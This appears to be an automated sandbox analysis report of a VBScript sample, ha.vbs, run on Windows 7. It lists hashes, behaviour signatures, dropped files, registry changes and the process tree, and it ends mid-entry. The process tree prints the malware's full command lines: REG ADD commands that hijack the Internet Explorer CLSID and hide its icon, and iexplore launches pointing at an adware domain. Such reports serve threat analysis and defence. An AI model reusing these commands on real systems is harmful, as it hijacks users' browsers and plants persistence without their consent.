57d7327f9e048ae35d0e1ff80cba15e96541e6fd7ae3d3005a45fbc7cf545453

Analysis

max time kernel
120s
max time network
138s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
25/12/2023, 19:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ha.vbs
Size

1KB
MD5

97b8dddd4361596cdeb6851a0639d834
SHA1

7f35a8018d53777c449b9703a867c0f41b542e62
SHA256

fa554b0be47bc18d0992bf700e8495ad29237d88413faac60cc1850a51dedb80
SHA512

d3103e2bd9c5e272ae7f80e27c62ca70ee06adb6b6c85b2c60f34e781ed54f140caa1cb4f0787256e4e66cd47dd4047cee0bb50a13bac581a05f47d904009f4b

Score

8^/10

evasion persistence

Malware Config

Signatures

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003

Sets file to hidden 1 TTPs 6 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1448	attrib.exe
2752	attrib.exe
2896	attrib.exe
1548	attrib.exe
2344	attrib.exe
2700	attrib.exe

Deletes itself 1 IoCs

pid	Process
2848	cmd.exe

Registers COM server for autorun 1 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ = "%systemRoot%\\system32\\shdocvw.dll"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ThreadingModel = "Apartment"	reg.exe

Drops file in Program Files directory 21 IoCs

description	ioc	Process
File created	C:\Program Files\WinWare\360.cmd	cmd.exe
File opened for modification	C:\Program Files\WinWare\360.cmd	cmd.exe
File opened for modification	C:\Program Files\WinWare\361.cmd	cmd.exe
File created	C:\Program Files\WinWare\Internet Exploror.lnk	cmd.exe
File opened for modification	C:\Program Files\WinWare\361.cmd	attrib.exe
File created	C:\Program Files\Windows\360SE.vbs	cmd.exe
File opened for modification	C:\Program Files\Windows\360SE.vbs	cmd.exe
File created	C:\Program Files\WinWare\winare.vbs	cmd.exe
File opened for modification	C:\Program Files\WinWare\36OSE.vbs	cmd.exe
File opened for modification	C:\Program Files\WinWare\360.cmd	attrib.exe
File created	C:\Program Files\WinWare\360SE.vbs	cmd.exe
File created	C:\Program Files\WinWare\tool.cmd	cmd.exe
File created	C:\Program Files\WinWare\361.cmd	cmd.exe
File opened for modification	C:\Program Files\WinWare\360SE.vbs	cmd.exe
File created	C:\Program Files\WinWare\36OSE.vbs	cmd.exe
File opened for modification	C:\Program Files\WinWare\tool.cmd	attrib.exe
File created	C:\Program Files\Windows\36OSE.vbs	cmd.exe
File opened for modification	C:\Program Files\WinWare\winare.vbs	cmd.exe
File opened for modification	C:\Program Files\WinWare\Internet Exploror.lnk	cmd.exe
File opened for modification	C:\Program Files\Windows\36OSE.vbs	cmd.exe
File opened for modification	C:\Program Files\WinWare\tool.cmd	cmd.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Mail\UltraEdit\is.cmd	cmd.exe
File created	C:\Windows\Mail\UltraEdit\winare.vbs	cmd.exe
File opened for modification	C:\Windows\Mail\UltraEdit\winare.vbs	cmd.exe
File created	C:\Windows\Mail\UltraEdit\is.cmd	cmd.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1908	sc.exe
1964	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c00000000000000010000000083ffff0083ffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{ADDBD9C1-A41F-11EE-B754-4A7F2EE8F0A9} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f0c756832c38da01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "409778519"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d80bef292bee784c8e3c940d61fdfeb8000000000200000000001066000000010000200000002bfbd356db289a420c472c2083a2cc16e6ce6259c81be1109516eb8658979dfb000000000e80000000020000200000006d50cc1392d39e2cd65b5fba90538d7b7d2c13c13fcf46a77c710d55f4f03e192000000013abaa2695923554da5504433f4af52c3c82a59ba218149f508c8d1fa0fbaa2e40000000d7abcc521394f6e58c6f23441b31bbaaa76f6e7160870a2a19ac3487bae0153e4392e33d834c3632e26033597bb96667c18d103a395f540c4e644618f8807063	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d80bef292bee784c8e3c940d61fdfeb80000000002000000000010660000000100002000000058474f52b2230790de50b045edb2945235a1992c706866f305e275a478c830c7000000000e800000000200002000000069e1a429e9f781970a911142128b785929c7bc87c349bd3bf7db03c32bbf6f3790000000cd1e6e4bced3db1bdb374b760479c85bd2b0b3e1af773bd1dbb31312d6c410f28fbb3ecca629cde8980e3a5b0676b8fc268cc1cd893576028fb4e473a755fc8c8f79afc60c09c12d66fcefa4b9ed6ec896915ee55a9072583e7a078dee410a27cb4781af2329d628ef4a0bd43762a258c29df7fa1cdb3fb4ccf230d0ebcf6f4d19cdfdc73713960a43304c31499312f540000000658f63df834023a9adbd24f1c42a1b6ac277cdadae78eb7077d72abb7f496d3829c368214ece05f303c4bf44cac018e55067fb12449cb730ce07f66a524cec11	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe

Modifies registry class 44 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\LocalizedString = "Internet Exploror"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\WantsParsDisplayName	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\ = "┤≥┐¬╓≈╥│(&H)"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\MUIVerb = "@shdoclc.dll,-10241"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon\ = "shdoclc.dll,0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\HideFolderVerbs	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ThreadingModel = "Apartment"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command\ = "C:\\progra~1\\Intern~1\\iexplore.exe http://www.dao666.com/?in"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\HideOnDesktopPerUser	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InfoTip = "▓Θ╒╥▓ó╧╘╩╛ Internet ╔╧╡─╨┼╧ó║══°╒╛"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ = "%systemRoot%\\system32\\shdocvw.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command\ = "C:\\progra~1\\Intern~1\\iexplore.exe http://www.dao666.com/?in"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\Attributes = "0"	reg.exe

Runs net.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2676	iexplore.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2676	iexplore.exe
2676	iexplore.exe
2608	IEXPLORE.EXE
2608	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 1108	2032	WScript.exe	28
PID 2032 wrote to memory of 1108	2032	WScript.exe	28
PID 2032 wrote to memory of 1108	2032	WScript.exe	28
PID 1108 wrote to memory of 2676	1108	cmd.exe	31
PID 1108 wrote to memory of 2676	1108	cmd.exe	31
PID 1108 wrote to memory of 2676	1108	cmd.exe	31
PID 2032 wrote to memory of 2796	2032	WScript.exe	32
PID 2032 wrote to memory of 2796	2032	WScript.exe	32
PID 2032 wrote to memory of 2796	2032	WScript.exe	32
PID 2796 wrote to memory of 2476	2796	cmd.exe	34
PID 2796 wrote to memory of 2476	2796	cmd.exe	34
PID 2796 wrote to memory of 2476	2796	cmd.exe	34
PID 2796 wrote to memory of 2564	2796	cmd.exe	35
PID 2796 wrote to memory of 2564	2796	cmd.exe	35
PID 2796 wrote to memory of 2564	2796	cmd.exe	35
PID 2796 wrote to memory of 2580	2796	cmd.exe	36
PID 2796 wrote to memory of 2580	2796	cmd.exe	36
PID 2796 wrote to memory of 2580	2796	cmd.exe	36
PID 2676 wrote to memory of 2608	2676	iexplore.exe	37
PID 2676 wrote to memory of 2608	2676	iexplore.exe	37
PID 2676 wrote to memory of 2608	2676	iexplore.exe	37
PID 2676 wrote to memory of 2608	2676	iexplore.exe	37
PID 2796 wrote to memory of 2200	2796	cmd.exe	38
PID 2796 wrote to memory of 2200	2796	cmd.exe	38
PID 2796 wrote to memory of 2200	2796	cmd.exe	38
PID 2796 wrote to memory of 3000	2796	cmd.exe	39
PID 2796 wrote to memory of 3000	2796	cmd.exe	39
PID 2796 wrote to memory of 3000	2796	cmd.exe	39
PID 2796 wrote to memory of 2136	2796	cmd.exe	40
PID 2796 wrote to memory of 2136	2796	cmd.exe	40
PID 2796 wrote to memory of 2136	2796	cmd.exe	40
PID 2796 wrote to memory of 3004	2796	cmd.exe	41
PID 2796 wrote to memory of 3004	2796	cmd.exe	41
PID 2796 wrote to memory of 3004	2796	cmd.exe	41
PID 2796 wrote to memory of 2544	2796	cmd.exe	42
PID 2796 wrote to memory of 2544	2796	cmd.exe	42
PID 2796 wrote to memory of 2544	2796	cmd.exe	42
PID 2796 wrote to memory of 1808	2796	cmd.exe	43
PID 2796 wrote to memory of 1808	2796	cmd.exe	43
PID 2796 wrote to memory of 1808	2796	cmd.exe	43
PID 2796 wrote to memory of 1016	2796	cmd.exe	44
PID 2796 wrote to memory of 1016	2796	cmd.exe	44
PID 2796 wrote to memory of 1016	2796	cmd.exe	44
PID 2796 wrote to memory of 1044	2796	cmd.exe	45
PID 2796 wrote to memory of 1044	2796	cmd.exe	45
PID 2796 wrote to memory of 1044	2796	cmd.exe	45
PID 2796 wrote to memory of 1332	2796	cmd.exe	46
PID 2796 wrote to memory of 1332	2796	cmd.exe	46
PID 2796 wrote to memory of 1332	2796	cmd.exe	46
PID 2796 wrote to memory of 1604	2796	cmd.exe	47
PID 2796 wrote to memory of 1604	2796	cmd.exe	47
PID 2796 wrote to memory of 1604	2796	cmd.exe	47
PID 2796 wrote to memory of 1616	2796	cmd.exe	48
PID 2796 wrote to memory of 1616	2796	cmd.exe	48
PID 2796 wrote to memory of 1616	2796	cmd.exe	48
PID 2796 wrote to memory of 752	2796	cmd.exe	49
PID 2796 wrote to memory of 752	2796	cmd.exe	49
PID 2796 wrote to memory of 752	2796	cmd.exe	49
PID 2796 wrote to memory of 588	2796	cmd.exe	50
PID 2796 wrote to memory of 588	2796	cmd.exe	50
PID 2796 wrote to memory of 588	2796	cmd.exe	50
PID 2796 wrote to memory of 1184	2796	cmd.exe	51
PID 2796 wrote to memory of 1184	2796	cmd.exe	51
PID 2796 wrote to memory of 1184	2796	cmd.exe	51

Views/modifies file attributes 1 TTPs 6 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1548	attrib.exe
2344	attrib.exe
2700	attrib.exe
1448	attrib.exe
2752	attrib.exe
2896	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ha.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C start /min iexplore http://www.dao666.com/index2.html?cn
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://www.dao666.com/index2.html?cn
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2676 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C .\tool.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f
    3⤵
    PID:2476
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    - Modifies registry class
    PID:2564
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "InfoTip" /t REG_SZ /d "▓Θ╒╥▓ó╧╘╩╛ Internet ╔╧╡─╨┼╧ó║══°╒╛" /f
    3⤵
    - Modifies registry class
    PID:2580
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "LocalizedString" /t REG_SZ /d "Internet Exploror" /f
    3⤵
    - Modifies registry class
    PID:2200
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon"
    3⤵
    - Modifies registry class
    PID:3000
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
    3⤵
    - Modifies registry class
    PID:2136
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32"
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    PID:3004
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /ve /t REG_SZ /d "%systemRoot%\system32\shdocvw.dll" /f
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    PID:2544
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
    3⤵
    - Registers COM server for autorun
    - Modifies registry class
    PID:1808
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell"
    3⤵
    - Modifies registry class
    PID:1016
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell" /ve /t REG_SZ /d "┤≥┐¬╓≈╥│(&H)" /f
    3⤵
    - Modifies registry class
    PID:1044
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)"
    3⤵
    - Modifies registry class
    PID:1332
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
    3⤵
    - Modifies registry class
    PID:1604
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command"
    3⤵
    - Modifies registry class
    PID:1616
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤≥┐¬╓≈╥│(&H)\Command" /ve /t REG_SZ /d "C:\progra~1\Intern~1\iexplore.exe http://www.dao666.com/?in" /f
    3⤵
    - Modifies registry class
    PID:752
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)"
    3⤵
    - Modifies registry class
    PID:588
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command"
    3⤵
    - Modifies registry class
    PID:1184
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩⌠╨╘(&R)\Command" /ve /t REG_SZ /d "C:\progra~1\Intern~1\iexplore.exe http://www.dao666.com/?in" /f
    3⤵
    - Modifies registry class
    PID:1636
- - C:\Windows\system32\reg.exe
